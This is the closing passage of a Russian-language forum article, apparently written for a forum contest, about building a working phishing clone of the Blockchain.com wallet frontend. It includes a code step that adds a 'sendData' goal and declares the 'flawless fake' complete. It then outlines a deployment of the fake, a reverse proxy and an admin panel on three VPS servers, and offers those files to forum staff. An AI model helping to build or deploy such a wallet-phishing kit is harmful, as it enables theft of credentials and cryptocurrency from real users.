В файле packages/blockchain-wallet-v4-frontend/src/data/goals/types.ts:
После "referral", добавляем "sendData".
Готово! Наш безупречный фэйк со всеми возможностями создан.
Для наглядности хотелось бы так же выложить материалы с подробными инструкциями по установке на сервер:
- Фэйк (конфиги + скрипты, сервер vps-1)
- Реверс прокси (конфиги + скрипты, сервер vps-2)
- Простенькая админ панель (конфиги + скрипты, сервер vps-3)
Но опасаясь спекуляций со стороны недобросовестных пользователей(и резкого роста торговцев фейками блокчейна) данный материал в иерархическом порядке хотелось бы передать администраторами и модераторам форума, а так же специалистам, которые бы хотели "потрогать" и убедиться, что всё описанное в данной статье - актуально и работает на момент публикации.
PS: возможно полетят абузы, что в паблик уходит приват, но нет, друзья - до этого мог дойти любой и тут показано как именно достигнут результат, а не просто выкладывается готовое решение.
Данная статья для конкурса является прямым подтверждением того, что нет ничего невозможного.
Просто пробуйте, и Вы добьетесь всего и всегда.
С единственной в данном случае оговоркой, о которой хотелось бы напомнить(привет, Ubuntu/Debian):
"C великой силой приходит и великая ответственность"